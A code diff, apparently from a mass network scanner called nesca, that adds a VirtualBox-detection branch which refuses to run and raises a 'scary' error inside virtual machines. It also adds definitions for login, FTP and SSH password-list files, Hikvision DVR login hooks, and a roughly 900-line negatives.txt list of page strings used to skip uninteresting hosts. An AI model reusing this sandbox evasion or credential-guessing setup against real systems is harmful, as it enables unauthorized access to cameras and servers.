||||||
|
char ch = value[j];
|
||||||
|
if (ch != '\0') {
|
||||||
|
resultString[i] = ch;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
resultString[i] = '\n';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
resultString[256] = '\0';
|
||||||
|
}
|
||||||
|
if (strstr(resultString, "VirtualBox") ||
|
||||||
|
strstr(resultString, "virtualbox")) {
|
||||||
|
isWM = true;
|
||||||
|
};
|
||||||
|
|
||||||
QApplication a(argc, argv);
|
QApplication a(argc, argv);
|
||||||
|
|
||||||
|
if (isWM) {
|
||||||
|
QMessageBox msgBox(
|
||||||
|
QMessageBox::Information,
|
||||||
|
"Nope",
|
||||||
|
"");
|
||||||
|
QPalette palette;
|
||||||
|
palette.setBrush(QPalette::Background, Qt::cyan);
|
||||||
|
msgBox.setIconPixmap(QPixmap(":/nesca_3/xc.jpg"));
|
||||||
|
msgBox.setPalette(palette);
|
||||||
|
msgBox.setVisible(true);
|
||||||
|
msgBox.exec();
|
||||||
|
} else {
|
||||||
QStringList list;
|
QStringList list;
|
||||||
list << "small_font.ttf";
|
list << "small_font.ttf";
|
||||||
int fontID(-1);
|
int fontID(-1);
|
||||||
@ -16,7 +59,8 @@ int main(int argc, char *argv[])
|
|||||||
if (fontWarningShown == false) {
|
if (fontWarningShown == false) {
|
||||||
fontWarningShown = true;
|
fontWarningShown = true;
|
||||||
}
|
}
|
||||||
} else {
|
}
|
||||||
|
else {
|
||||||
fontID = QFontDatabase::addApplicationFontFromData(res.readAll());
|
fontID = QFontDatabase::addApplicationFontFromData(res.readAll());
|
||||||
if (fontID == -1 && fontWarningShown == false) {
|
if (fontID == -1 && fontWarningShown == false) {
|
||||||
fontWarningShown = true;
|
fontWarningShown = true;
|
||||||
@ -24,9 +68,12 @@ int main(int argc, char *argv[])
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
nesca_3 *gui = new nesca_3();
|
nesca_3 *gui = new nesca_3(isWM, 0);
|
||||||
|
if (isWM) {
|
||||||
|
Utils::emitScaryError();
|
||||||
|
}
|
||||||
gui->showNormal();
|
gui->showNormal();
|
||||||
|
}
|
||||||
return a.exec();
|
return a.exec();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -1,6 +1,5 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
#include "base64.h"
|
#include "base64.h"
|
||||||
|
|
||||||
#include <libssh/libssh.h>
|
#include <libssh/libssh.h>
|
||||||
#include <curl/curl.h>
|
#include <curl/curl.h>
|
||||||
#include <vector>
|
#include <vector>
|
||||||
@ -9,6 +8,9 @@
|
|||||||
#include <time.h>
|
#include <time.h>
|
||||||
#include <process.h>
|
#include <process.h>
|
||||||
#include <conio.h>
|
#include <conio.h>
|
||||||
|
#include <direct.h>
|
||||||
|
|
||||||
|
#define GetCurrentDir _getcwd
|
||||||
#else
|
#else
|
||||||
#include <string>
|
#include <string>
|
||||||
#include <iostream>
|
#include <iostream>
|
||||||
@ -28,7 +30,9 @@
|
|||||||
#include <fcntl.h>
|
#include <fcntl.h>
|
||||||
#include <math.h>
|
#include <math.h>
|
||||||
#include <cstring>
|
#include <cstring>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#define GetCurrentDir getcwd
|
||||||
#define ZeroMemory(Destination,Length) memset((Destination),0,(Length))
|
#define ZeroMemory(Destination,Length) memset((Destination),0,(Length))
|
||||||
#define Sleep(msecs) usleep((msecs)*1000)
|
#define Sleep(msecs) usleep((msecs)*1000)
|
||||||
#define WSAGetLastError() errno
|
#define WSAGetLastError() errno
|
||||||
@ -84,7 +88,37 @@ typedef int BOOL;
|
|||||||
|
|
||||||
#define TITLE_MAX_SIZE 512
|
#define TITLE_MAX_SIZE 512
|
||||||
#define COOKIE_MAX_SIZE 1024
|
#define COOKIE_MAX_SIZE 1024
|
||||||
#define RESULT_DIR_NAME "./result_files-" __DATE__
|
#define TYPE1 "camera"
|
||||||
|
#define TYPE2 "other"
|
||||||
|
#define TYPE3 "auth"
|
||||||
|
#define TYPE4 "ftp"
|
||||||
|
#define TYPE5 "ssh"
|
||||||
|
|
||||||
|
#define PWD_LIST_FOLDER "./pwd_lists/"
|
||||||
|
#define LOGIN_FN PWD_LIST_FOLDER"login.txt"
|
||||||
|
#define PASS_FN PWD_LIST_FOLDER"pass.txt"
|
||||||
|
#define FTP_LOGIN_FN PWD_LIST_FOLDER"ftplogin.txt"
|
||||||
|
#define FTP_PASS_FN PWD_LIST_FOLDER"ftppass.txt"
|
||||||
|
#define WF_LOGIN_FN PWD_LIST_FOLDER"wflogin.txt"
|
||||||
|
#define WF_PASS_FN PWD_LIST_FOLDER"wfpass.txt"
|
||||||
|
#define SSH_PASS_FN PWD_LIST_FOLDER"sshpass.txt"
|
||||||
|
#define NEGATIVE_FN PWD_LIST_FOLDER"negatives.txt"
|
||||||
|
|
||||||
|
#define HTTP_FILE_STYLE "<style> #recvSpan{display: inline-block;width: 150px;} \
|
||||||
|
#hostSpan{display: inline-block;width: 200px;} \
|
||||||
|
body { background-color: #141414; font-family: monospace; font-size:95%;} \
|
||||||
|
#ipd{background:black;width:100%;white-space:nowrap;overflow-x:none;display:inline-block;} \
|
||||||
|
#ipd:hover{color: #909090;background:#202020;} \
|
||||||
|
#tit{text-align:center;border:1px solid #5d5d5d;} \
|
||||||
|
a{color: gray;text-decoration: underline;} \
|
||||||
|
a:focus{ outline-style: dashed;outline-width:1px; outline-color: red;}</style>"
|
||||||
|
|
||||||
|
#define HTTP_FILE_HEADER "<div id=\"tit\"><a href=\""TYPE1".html\">."TYPE1"</a> \
|
||||||
|
<a href=\""TYPE2".html\">."TYPE2"</a> \
|
||||||
|
<a href=\""TYPE3".html\">."TYPE3"</a> \
|
||||||
|
<a href=\""TYPE4".html\">."TYPE4"</a> \
|
||||||
|
<a href=\""TYPE5".html\">."TYPE5"</a> \
|
||||||
|
</div><br><br>"
|
||||||
|
|
||||||
#ifndef MAX_ADDR_LEN
|
#ifndef MAX_ADDR_LEN
|
||||||
#define MAX_ADDR_LEN 128
|
#define MAX_ADDR_LEN 128
|
||||||
@ -145,12 +179,12 @@ public:
|
|||||||
iterationCount = 0;
|
iterationCount = 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
int header(char *ip,
|
/*int getHeader(char *ip,
|
||||||
int port,
|
int port,
|
||||||
const char str[],
|
const char str[],
|
||||||
Lexems *l,
|
Lexems *l,
|
||||||
PathStr *ps,
|
PathStr *ps,
|
||||||
std::vector<std::string> *lst, int size);
|
std::vector<std::string> *lst, int size);*/
|
||||||
|
|
||||||
int filler(char* ip,
|
int filler(char* ip,
|
||||||
int port,
|
int port,
|
||||||
@ -172,3 +206,5 @@ typedef int(__stdcall *NET_DVR_Login_V30)(const char * sDVRIP,
|
|||||||
extern NET_DVR_Init hik_init_ptr;
|
extern NET_DVR_Init hik_init_ptr;
|
||||||
extern NET_DVR_Cleanup hik_cleanup_ptr;
|
extern NET_DVR_Cleanup hik_cleanup_ptr;
|
||||||
extern NET_DVR_Login_V30 hik_login_ptr;
|
extern NET_DVR_Login_V30 hik_login_ptr;
|
||||||
|
|
||||||
|
|
||||||
|
@ -46,7 +46,7 @@ void MSGCheckerThread::run()
|
|||||||
{
|
{
|
||||||
msgChkRunnning = true;
|
msgChkRunnning = true;
|
||||||
if (strlen(trcPersKey) != 0) _getNewMsg();
|
if (strlen(trcPersKey) != 0) _getNewMsg();
|
||||||
else { mct->doEmitionShowNewMsg(QString("No key detected.")); }
|
//else { mct->doEmitionShowNewMsg(QString("No key detected.")); }
|
||||||
Sleep(60000);
|
Sleep(60000);
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
912
negatives.txt
912
negatives.txt
@ -1 +1,911 @@
|
|||||||
|
Benvenuti!
|
||||||
|
ssl vpn
|
||||||
|
Ref1=http
|
||||||
|
hello. goodbye.
|
||||||
|
Analog Telephone Adapter
|
||||||
|
IP Dect -
|
||||||
|
AnyGate
|
||||||
|
Unable to open
|
||||||
|
WebDAV
|
||||||
|
Ruckus Wireless
|
||||||
|
Access is denied
|
||||||
|
access denied
|
||||||
|
Company Limited
|
||||||
|
àðåíäà ñåðâ
|
||||||
|
首页
|
||||||
|
51yes.com
|
||||||
|
nasne&trade
|
||||||
|
google-site-verification
|
||||||
|
áåñïëàòíûé õîñò
|
||||||
|
àíòèâèðóñ
|
||||||
|
403 forbidden
|
||||||
|
êóïèòü
|
||||||
|
X-Adblock-Key
|
||||||
|
エラー
|
||||||
|
pagerror
|
||||||
|
Error report
|
||||||
|
電話
|
||||||
|
reserveer
|
||||||
|
kontakt
|
||||||
|
ñàéò âðåìåí
|
||||||
|
ãàðàíò
|
||||||
|
ïàðê
|
||||||
|
òåëåêîì
|
||||||
|
ðåãèñòðàöèÿ
|
||||||
|
íåäîñòóïåí
|
||||||
|
document.cookie
|
||||||
|
park
|
||||||
|
You are not permitted
|
||||||
|
Adapto CMS
|
||||||
|
Account unavailable
|
||||||
|
áàëàíñ
|
||||||
|
ñðåäñòâ
|
||||||
|
íà âàøåì ñ÷åòó
|
||||||
|
àáîíåíò
|
||||||
|
xml-not-well-formed
|
||||||
|
No session
|
||||||
|
validator.w3.org
|
||||||
|
RFB 009
|
||||||
|
00;39;49mroot:
|
||||||
|
Authorization Required
|
||||||
|
.swf
|
||||||
|
ïîêóï
|
||||||
|
yadro.ru
|
||||||
|
liveinternet
|
||||||
|
DIR-100
|
||||||
|
DIR-615
|
||||||
|
DIR-140
|
||||||
|
session_login.php?reload=1
|
||||||
|
Firewall Authentication required before
|
||||||
|
Piolink Web
|
||||||
|
You are not welcome to use
|
||||||
|
Permission error
|
||||||
|
sample.org
|
||||||
|
421 FTP connection refused
|
||||||
|
No HTTP resource was found
|
||||||
|
RTDVR ActiveX
|
||||||
|
D-RMS
|
||||||
|
command not understood
|
||||||
|
baZsDJAabybWQby
|
||||||
|
report abuse
|
||||||
|
atwiki
|
||||||
|
studio
|
||||||
|
McMyAdmin
|
||||||
|
500 Syntax error
|
||||||
|
Starting WebDVR
|
||||||
|
530 Connection refused
|
||||||
|
I can break rules, too
|
||||||
|
this system is engaged
|
||||||
|
Aviso de Bloqueio
|
||||||
|
Servico nao disponivel
|
||||||
|
Content-Encoding: gzip
|
||||||
|
no connections allowed
|
||||||
|
pocket-solution
|
||||||
|
trustclick
|
||||||
|
òîðã
|
||||||
|
prelogin
|
||||||
|
service temporarily unavailable
|
||||||
|
service is temporary unavailable
|
||||||
|
service unavailable
|
||||||
|
403 - forbidden
|
||||||
|
is still available
|
||||||
|
php framework
|
||||||
|
BlueBean
|
||||||
|
Herzlich
|
||||||
|
Web-Based Configurator
|
||||||
|
Willkommen!
|
||||||
|
Error 503
|
||||||
|
not found
|
||||||
|
504 gateway timeout
|
||||||
|
Defaultpage
|
||||||
|
500 internal server error
|
||||||
|
500 - internal server error
|
||||||
|
502 bad gateway
|
||||||
|
505 http version
|
||||||
|
501 not implemented
|
||||||
|
invalid hostname
|
||||||
|
http error 400
|
||||||
|
400 ERROR
|
||||||
|
include_path=
|
||||||
|
function.require
|
||||||
|
failed to open stream
|
||||||
|
"./cgi-bin/start.cgi?UID=-1&TEMP="
|
||||||
|
408 request time-out
|
||||||
|
421 service not available
|
||||||
|
500 OOPS
|
||||||
|
Comming Soon
|
||||||
|
is sample html
|
||||||
|
/js/thickbox.js
|
||||||
|
google_ad_slot
|
||||||
|
plone
|
||||||
|
openmail
|
||||||
|
You don't have permission
|
||||||
|
institute
|
||||||
|
google-analytics.com
|
||||||
|
googlesyndication
|
||||||
|
temporarily offline
|
||||||
|
temporarily unavailable
|
||||||
|
MELOOK
|
||||||
|
>log in
|
||||||
|
.js_check.html
|
||||||
|
/about-our-site.html
|
||||||
|
/auth.
|
||||||
|
/acquittal.html
|
||||||
|
/building.html
|
||||||
|
/cart/view
|
||||||
|
/catalog/search.php
|
||||||
|
/cgi-bin/welcome.cgi
|
||||||
|
/welcome/
|
||||||
|
application/x-shockwave-flash
|
||||||
|
/customer
|
||||||
|
e-Learn
|
||||||
|
/esi.cgi?page=status-index.xml
|
||||||
|
/guarantee
|
||||||
|
.ac.jp
|
||||||
|
/html/index.asp
|
||||||
|
/iisstart.asp
|
||||||
|
/images/final-hp
|
||||||
|
/install.php
|
||||||
|
/kontakty
|
||||||
|
/manga/index.cgi
|
||||||
|
/manual/
|
||||||
|
/order
|
||||||
|
/privacy
|
||||||
|
/news
|
||||||
|
/portal-login
|
||||||
|
/product.php
|
||||||
|
/rpauth.html
|
||||||
|
/servlet/wap/login
|
||||||
|
site introuvable
|
||||||
|
shop
|
||||||
|
sell
|
||||||
|
test server
|
||||||
|
/company
|
||||||
|
/brand
|
||||||
|
/signin
|
||||||
|
/simple.html
|
||||||
|
/soap/
|
||||||
|
/support/
|
||||||
|
/terms
|
||||||
|
/ui/
|
||||||
|
/user/index.php
|
||||||
|
/weblogin.htm
|
||||||
|
/xampp/
|
||||||
|
/zimbra
|
||||||
|
:5000/
|
||||||
|
?hipname=
|
||||||
|
@bk.ru
|
||||||
|
@gmail.com
|
||||||
|
@inbox.ru
|
||||||
|
@list.ru
|
||||||
|
@mail.ru
|
||||||
|
@rambler.ru
|
||||||
|
@yandex.ru
|
||||||
|
+home_42+
|
||||||
|
+i1+
|
||||||
|
+vt_docsystem+
|
||||||
|
16 ch
|
||||||
|
a test web page
|
||||||
|
clinic
|
||||||
|
museum
|
||||||
|
It's works
|
||||||
|
Adobe GoLive
|
||||||
|
Remote Link2
|
||||||
|
about/
|
||||||
|
aboutus
|
||||||
|
about-us
|
||||||
|
about us
|
||||||
|
acceso denegado
|
||||||
|
acceso sistema
|
||||||
|
access the sharecenter
|
||||||
|
actiontec_bottom
|
||||||
|
adsense
|
||||||
|
afrekenen
|
||||||
|
ahcom tecnologia
|
||||||
|
alfresco
|
||||||
|
app service
|
||||||
|
apache_pb.gif
|
||||||
|
airties
|
||||||
|
aktualizacji
|
||||||
|
amicaweb
|
||||||
|
Alan Ad?
|
||||||
|
and supervision tool
|
||||||
|
annex b
|
||||||
|
apache http server test
|
||||||
|
apache software foundation
|
||||||
|
apache tomcat
|
||||||
|
apache ha sido instalado
|
||||||
|
application manager
|
||||||
|
apteka
|
||||||
|
arteco ivs spa
|
||||||
|
at&t
|
||||||
|
at-img634
|
||||||
|
autenticacao de acesso
|
||||||
|
auto_detect_lang.asp
|
||||||
|
aviso legal
|
||||||
|
backgroundimagecache
|
||||||
|
bad request
|
||||||
|
baidu
|
||||||
|
beratung
|
||||||
|
berneck
|
||||||
|
btnLive
|
||||||
|
business invest
|
||||||
|
best domain names
|
||||||
|
bitrix
|
||||||
|
bluedragon
|
||||||
|
blog
|
||||||
|
blog/about/
|
||||||
|
blog/comments/
|
||||||
|
bubba|2
|
||||||
|
buffalo inc
|
||||||
|
buy
|
||||||
|
cable modem
|
||||||
|
cafe
|
||||||
|
call us
|
||||||
|
calorie
|
||||||
|
cannot be displayed
|
||||||
|
cannot find
|
||||||
|
ccnwebsrvcontroller
|
||||||
|
church
|
||||||
|
canopy
|
||||||
|
casino
|
||||||
|
cautivo
|
||||||
|
check_hj.html
|
||||||
|
check_user_agent
|
||||||
|
checking javascript support
|
||||||
|
checking language
|
||||||
|
checkpoint.com
|
||||||
|
cheditor
|
||||||
|
chiliproject
|
||||||
|
check availability
|
||||||
|
citrix/xenapp
|
||||||
|
client
|
||||||
|
cloud
|
||||||
|
cmside.htm
|
||||||
|
company.
|
||||||
|
comcast business
|
||||||
|
coming soon
|
||||||
|
commercial property
|
||||||
|
configuration manager
|
||||||
|
configuration file does not
|
||||||
|
confixx
|
||||||
|
construcci
|
||||||
|
consulta
|
||||||
|
contac
|
||||||
|
come back later
|
||||||
|
contat
|
||||||
|
control de inventarios
|
||||||
|
control de solicitudes
|
||||||
|
controles de acceso
|
||||||
|
currently unavailable
|
||||||
|
cooking
|
||||||
|
coltd
|
||||||
|
co.ltd
|
||||||
|
co.,ltd
|
||||||
|
#QNAP shit
|
||||||
|
could be ipv6 addr
|
||||||
|
cp-gateway
|
||||||
|
create an account
|
||||||
|
create new account
|
||||||
|
credit
|
||||||
|
currently measuring
|
||||||
|
currently unreachable
|
||||||
|
cs3 dreamweaver
|
||||||
|
FrontPage
|
||||||
|
TESTPAGE
|
||||||
|
Too many connections
|
||||||
|
BB-HGW
|
||||||
|
OS X Lion
|
||||||
|
Inspire DVR
|
||||||
|
DVR Components Download
|
||||||
|
Homepage Builder
|
||||||
|
dashboard.css
|
||||||
|
dating
|
||||||
|
dbox
|
||||||
|
de iis
|
||||||
|
design house
|
||||||
|
de subsidios
|
||||||
|
de turismo
|
||||||
|
default page
|
||||||
|
default parallels plesk panel
|
||||||
|
default plesk page
|
||||||
|
default web
|
||||||
|
defaultwebpage
|
||||||
|
desserts
|
||||||
|
default-site
|
||||||
|
development company
|
||||||
|
development work
|
||||||
|
device configuration
|
||||||
|
default index file
|
||||||
|
dgc hotspot
|
||||||
|
dishes
|
||||||
|
docsis
|
||||||
|
docsis_system.asp
|
||||||
|
dominio
|
||||||
|
domain error
|
||||||
|
domain has been blocked
|
||||||
|
domain has been registered
|
||||||
|
domain name registration
|
||||||
|
domain registered
|
||||||
|
domainapps.com
|
||||||
|
domeny
|
||||||
|
domeingeregistreerd
|
||||||
|
down for maint
|
||||||
|
draytek corp
|
||||||
|
dreambox webcontrol
|
||||||
|
drupal
|
||||||
|
Dreamweaver MX
|
||||||
|
due to maintance
|
||||||
|
dsnextgen.com
|
||||||
|
DATA LAN DISK
|
||||||
|
TEST SITE
|
||||||
|
eap web interface
|
||||||
|
echolife
|
||||||
|
ediciones tierrazul
|
||||||
|
elipgo
|
||||||
|
emta settings
|
||||||
|
en construction
|
||||||
|
enigin plc
|
||||||
|
enigma web interface
|
||||||
|
entertainment
|
||||||
|
equipe ahcom
|
||||||
|
erro ao resolver
|
||||||
|
The requested URL
|
||||||
|
error.asp
|
||||||
|
empty page
|
||||||
|
errors.umi-cms.ru
|
||||||
|
e-trayz
|
||||||
|
evaluaciones
|
||||||
|
exchange/
|
||||||
|
ezwatch pro
|
||||||
|
education
|
||||||
|
fax
|
||||||
|
fax.
|
||||||
|
fax:
|
||||||
|
fax :
|
||||||
|
fashion
|
||||||
|
Fireworks MX
|
||||||
|
fast35xx
|
||||||
|
facebook
|
||||||
|
football
|
||||||
|
forex
|
||||||
|
forgot password
|
||||||
|
free delivery
|
||||||
|
free to play
|
||||||
|
freepbx
|
||||||
|
free-shipping
|
||||||
|
fritz!box
|
||||||
|
functioning normally
|
||||||
|
future home of
|
||||||
|
gaiyou
|
||||||
|
glassfish server
|
||||||
|
globesurfer
|
||||||
|
gmbh
|
||||||
|
industrial
|
||||||
|
help.html
|
||||||
|
market
|
||||||
|
guarantee
|
||||||
|
h.264
|
||||||
|
h264
|
||||||
|
hc.ru
|
||||||
|
hectrix ltd
|
||||||
|
hipname
|
||||||
|
hipoteka
|
||||||
|
hitron technologies
|
||||||
|
holding page
|
||||||
|
holding_page
|
||||||
|
home gateway
|
||||||
|
home.
|
||||||
|
hosting
|
||||||
|
hostline.ru
|
||||||
|
help desk
|
||||||
|
hotspot login
|
||||||
|
htmlanvview:
|
||||||
|
icecast2
|
||||||
|
ie-plugin
|
||||||
|
iis7
|
||||||
|
iis8
|
||||||
|
images/spacer.jpg
|
||||||
|
images/ub15.gif
|
||||||
|
in construction
|
||||||
|
index.cgi?active
|
||||||
|
index.php?action=login
|
||||||
|
info experts
|
||||||
|
information services 8
|
||||||
|
ingrese usuario
|
||||||
|
inicio
|
||||||
|
initservicecookie
|
||||||
|
inloggen
|
||||||
|
insurance
|
||||||
|
intelligent digital security system
|
||||||
|
into the public_html directory
|
||||||
|
invalid url
|
||||||
|
iomega
|
||||||
|
iis windows
|
||||||
|
customer
|
||||||
|
is functioning normally
|
||||||
|
is under construction
|
||||||
|
ispmanager control panel
|
||||||
|
it work
|
||||||
|
error404
|
||||||
|
404err
|
||||||
|
error500
|
||||||
|
500err
|
||||||
|
407 Proxy
|
||||||
|
ibm websphere
|
||||||
|
is now configured
|
||||||
|
is currently undergoing
|
||||||
|
jbossweb
|
||||||
|
join us
|
||||||
|
joinmember
|
||||||
|
juniper
|
||||||
|
jste heslo
|
||||||
|
kerio connect
|
||||||
|
keyhole peeks
|
||||||
|
kablosuz
|
||||||
|
kloxo control panel
|
||||||
|
kontakt
|
||||||
|
kredyt
|
||||||
|
lacie nas
|
||||||
|
latest tweets
|
||||||
|
legal policies
|
||||||
|
log_off_page.htm
|
||||||
|
login page
|
||||||
|
login para acesso
|
||||||
|
logistics
|
||||||
|
lvrweb
|
||||||
|
epanel
|
||||||
|
commerc
|
||||||
|
official website
|
||||||
|
WebFig
|
||||||
|
in manutenzione
|
||||||
|
Domain is not authorized
|
||||||
|
in costruzione
|
||||||
|
mail_manager
|
||||||
|
magnesium
|
||||||
|
management console
|
||||||
|
mbanking
|
||||||
|
olaHola
|
||||||
|
Wireless N ADSL
|
||||||
|
Account Suspended
|
||||||
|
Session limit reached
|
||||||
|
Aethra
|
||||||
|
meble
|
||||||
|
microsoft exchange
|
||||||
|
mijn account
|
||||||
|
mobile phone was detected
|
||||||
|
mobile web viewer
|
||||||
|
mobile_viewer_login
|
||||||
|
mobile login
|
||||||
|
modem (administrator
|
||||||
|
m&w
|
||||||
|
munin
|
||||||
|
my account
|
||||||
|
my cart
|
||||||
|
my homepage
|
||||||
|
myauth
|
||||||
|
navatom
|
||||||
|
navigate to public landing page
|
||||||
|
netdvrv
|
||||||
|
netsafe utm
|
||||||
|
netsurveillance
|
||||||
|
nettalk
|
||||||
|
netvideo
|
||||||
|
newocx
|
||||||
|
nicht aufgeschaltet
|
||||||
|
no web site
|
||||||
|
no site on this
|
||||||
|
nothing to see
|
||||||
|
nothing here
|
||||||
|
not authorized to view
|
||||||
|
nuuo network video recorder
|
||||||
|
nuuo web
|
||||||
|
ntt docomo
|
||||||
|
nvr
|
||||||
|
no longer available
|
||||||
|
o nas
|
||||||
|
obs-helper/menu.jsp
|
||||||
|
official site
|
||||||
|
olvido su password
|
||||||
|
oncell warning
|
||||||
|
one time payment
|
||||||
|
one web server
|
||||||
|
Welcome to nginx
|
||||||
|
online dating
|
||||||
|
online store
|
||||||
|
oracle application server
|
||||||
|
our partners
|
||||||
|
outlook web
|
||||||
|
oma domain
|
||||||
|
on varattu
|
||||||
|
opening soon
|
||||||
|
openwebmail
|
||||||
|
Directory Listing Denied
|
||||||
|
page=about
|
||||||
|
pagos
|
||||||
|
CodeIgniter
|
||||||
|
parkerad
|
||||||
|
paradox ip module
|
||||||
|
parallels confixx
|
||||||
|
parallels operations automation default
|
||||||
|
parent.location=
|
||||||
|
partners
|
||||||
|
paypal
|
||||||
|
pharmacy
|
||||||
|
phone system
|
||||||
|
phpmyadmin
|
||||||
|
pills
|
||||||
|
place holder
|
||||||
|
placeholder
|
||||||
|
plakaty
|
||||||
|
platinbox
|
||||||
|
please login
|
||||||
|
plesk
|
||||||
|
poker
|
||||||
|
polycom '+model
|
||||||
|
por internet
|
||||||
|
portada
|
||||||
|
portal de
|
||||||
|
postinfo.html
|
||||||
|
price
|
||||||
|
prikol
|
||||||
|
privacy policies
|
||||||
|
virtual private server
|
||||||
|
pro-agro apm
|
||||||
|
produc
|
||||||
|
produtos
|
||||||
|
symfony-project
|
||||||
|
professions
|
||||||
|
sonicwall
|
||||||
|
promo
|
||||||
|
product_id
|
||||||
|
presentation page
|
||||||
|
qnap turbo nas
|
||||||
|
Qloud Server
|
||||||
|
read more
|
||||||
|
redirect server
|
||||||
|
redmine
|
||||||
|
reserviert
|
||||||
|
reg.demos.ru
|
||||||
|
register now
|
||||||
|
registrato
|
||||||
|
register your domain
|
||||||
|
registrarse
|
||||||
|
reklam
|
||||||
|
related searches
|
||||||
|
relatives
|
||||||
|
relaxcms.com
|
||||||
|
remote access controller
|
||||||
|
remote monitoring system
|
||||||
|
remote video surveillance
|
||||||
|
reserved domain
|
||||||
|
residential gateway login
|
||||||
|
restaurant
|
||||||
|
redevelopment
|
||||||
|
rpauth.html
|
||||||
|
rpsys.html
|
||||||
|
ruby on rails
|
||||||
|
ru-center
|
||||||
|
rss buddy
|
||||||
|
roundcube
|
||||||
|
s.r.l.
|
||||||
|
sakura internet
|
||||||
|
sabnzbd
|
||||||
|
samsung digital
|
||||||
|
sapphire journal
|
||||||
|
sbuilder.ru
|
||||||
|
scam_2nd.sis
|
||||||
|
search.
|
||||||
|
searchnut.com
|
||||||
|
searchpage.aspx
|
||||||
|
searchremagnified
|
||||||
|
secure login page
|
||||||
|
securepaynet
|
||||||
|
selectkind.html
|
||||||
|
server application error
|
||||||
|
server default page
|
||||||
|
servicio
|
||||||
|
shared ip
|
||||||
|
sign in now
|
||||||
|
silverlight
|
||||||
|
sistema fenix
|
||||||
|
sistemas
|
||||||
|
site offline
|
||||||
|
site_manager
|
||||||
|
site just created
|
||||||
|
sitemap
|
||||||
|
site is not
|
||||||
|
site_map
|
||||||
|
saitmap
|
||||||
|
stay tuned
|
||||||
|
sitio no encontrado
|
||||||
|
software is running
|
||||||
|
skidki
|
||||||
|
skip intro
|
||||||
|
small business
|
||||||
|
smart switch login
|
||||||
|
smartermail
|
||||||
|
snom
|
||||||
|
sign up
|
||||||
|
sonicwall - authentication
|
||||||
|
spa configuration
|
||||||
|
speed test
|
||||||
|
speedtouch
|
||||||
|
sport
|
||||||
|
skype:
|
||||||
|
src/login.php
|
||||||
|
ssl-vpn/login.esp
|
||||||
|
standalone dvr
|
||||||
|
statcounter
|
||||||
|
status.stm
|
||||||
|
strona w przygotowaniu
|
||||||
|
subsonic
|
||||||
|
sugarcrm
|
||||||
|
sun java system
|
||||||
|
workplace
|
||||||
|
workspace
|
||||||
|
Under Constraction
|
||||||
|
Mobile NAS Router
|
||||||
|
sunny webbox
|
||||||
|
supporto
|
||||||
|
strona w konstrukcji
|
||||||
|
surgeblog
|
||||||
|
Apache Error
|
||||||
|
suspended domain
|
||||||
|
suspendedpage
|
||||||
|
switch administrator
|
||||||
|
sww link
|
||||||
|
synology
|
||||||
|
taobao
|
||||||
|
TopPageFinder.com
|
||||||
|
Sun Microsystems, Inc
|
||||||
|
421 Service is unavailable
|
||||||
|
Echo Service
|
||||||
|
CareerVision
|
||||||
|
teamportal
|
||||||
|
teamviewer
|
||||||
|
AW+ GUI Applet
|
||||||
|
Technotree Web
|
||||||
|
SI-TEC
|
||||||
|
desknet
|
||||||
|
technical support
|
||||||
|
teles.igate
|
||||||
|
tellion
|
||||||
|
tell
|
||||||
|
tell.
|
||||||
|
TEL(
|
||||||
|
fax(
|
||||||
|
Web Management Login
|
||||||
|
IBM HTTP Server
|
||||||
|
no server available
|
||||||
|
tell:
|
||||||
|
tell :
|
||||||
|
tel/
|
||||||
|
fax/
|
||||||
|
tel
|
||||||
|
tel.
|
||||||
|
tel :
|
||||||
|
tel:
|
||||||
|
tel?
|
||||||
|
tel ?
|
||||||
|
tel)
|
||||||
|
AirLibro
|
||||||
|
fax?
|
||||||
|
fax ?
|
||||||
|
termos de uso
|
||||||
|
TP-LINK Wireless
|
||||||
|
RT-N
|
||||||
|
RT-G
|
||||||
|
dir320
|
||||||
|
underconstr
|
||||||
|
test page
|
||||||
|
has been banned
|
||||||
|
the best place
|
||||||
|
the best search
|
||||||
|
the leading
|
||||||
|
the page is not
|
||||||
|
the web server is running
|
||||||
|
this object has moved
|
||||||
|
this website is not configured
|
||||||
|
thomson gateway
|
||||||
|
to log in
|
||||||
|
tomza
|
||||||
|
touchstone status
|
||||||
|
townet 108-30-su
|
||||||
|
tralix
|
||||||
|
transfervolumen
|
||||||
|
trixbox
|
||||||
|
try again later
|
||||||
|
tutorial
|
||||||
|
twitter
|
||||||
|
Tlf.
|
||||||
|
mailto:
|
||||||
|
WJND300
|
||||||
|
Home Page
|
||||||
|
temporar in mentenanta
|
||||||
|
under maintanence
|
||||||
|
under-construction
|
||||||
|
under construct
|
||||||
|
under development
|
||||||
|
under konstruktion
|
||||||
|
under maintenance
|
||||||
|
unimep station controller
|
||||||
|
unsub pag
|
||||||
|
upnp devices
|
||||||
|
url could not be retrieved
|
||||||
|
unohditko salasanan
|
||||||
|
value domain
|
||||||
|
verizon
|
||||||
|
verwaltungskonsole
|
||||||
|
viagra
|
||||||
|
visualsvn
|
||||||
|
voice-over-ip
|
||||||
|
voip gateway
|
||||||
|
voip web
|
||||||
|
velkommen
|
||||||
|
vood
|
||||||
|
visit us
|
||||||
|
varaa itsellesi
|
||||||
|
w@de
|
||||||
|
wade
|
||||||
|
web applications
|
||||||
|
web console
|
||||||
|
web device manager
|
||||||
|
web frontend
|
||||||
|
web hosting
|
||||||
|
web remote access
|
||||||
|
web server setup guide
|
||||||
|
web site creator
|
||||||
|
webage unavailable
|
||||||
|
website does not exist
|
||||||
|
web-based configurator
|
||||||
|
webcamx
|
||||||
|
webconfig
|
||||||
|
webcontrol
|
||||||
|
webguard login
|
||||||
|
webrom
|
||||||
|
website is currently
|
||||||
|
webui administration
|
||||||
|
webview
|
||||||
|
webmail
|
||||||
|
welcome.do
|
||||||
|
web development
|
||||||
|
wimax
|
||||||
|
window.location = "/ui"
|
||||||
|
windows home server
|
||||||
|
windows server
|
||||||
|
windows small business server
|
||||||
|
winkelwagen
|
||||||
|
wordpress
|
||||||
|
wowza
|
||||||
|
www.microsoft.com
|
||||||
|
www.ibm.com
|
||||||
|
www.lacie.com
|
||||||
|
www.sedo.com
|
||||||
|
xenserver
|
||||||
|
CommuniGate Pro
|
||||||
|
MACROSCOP
|
||||||
|
Áóõãàëòåð
|
||||||
|
áþäæåò
|
||||||
|
Welcome to WildFly
|
||||||
|
Welcome to jboss
|
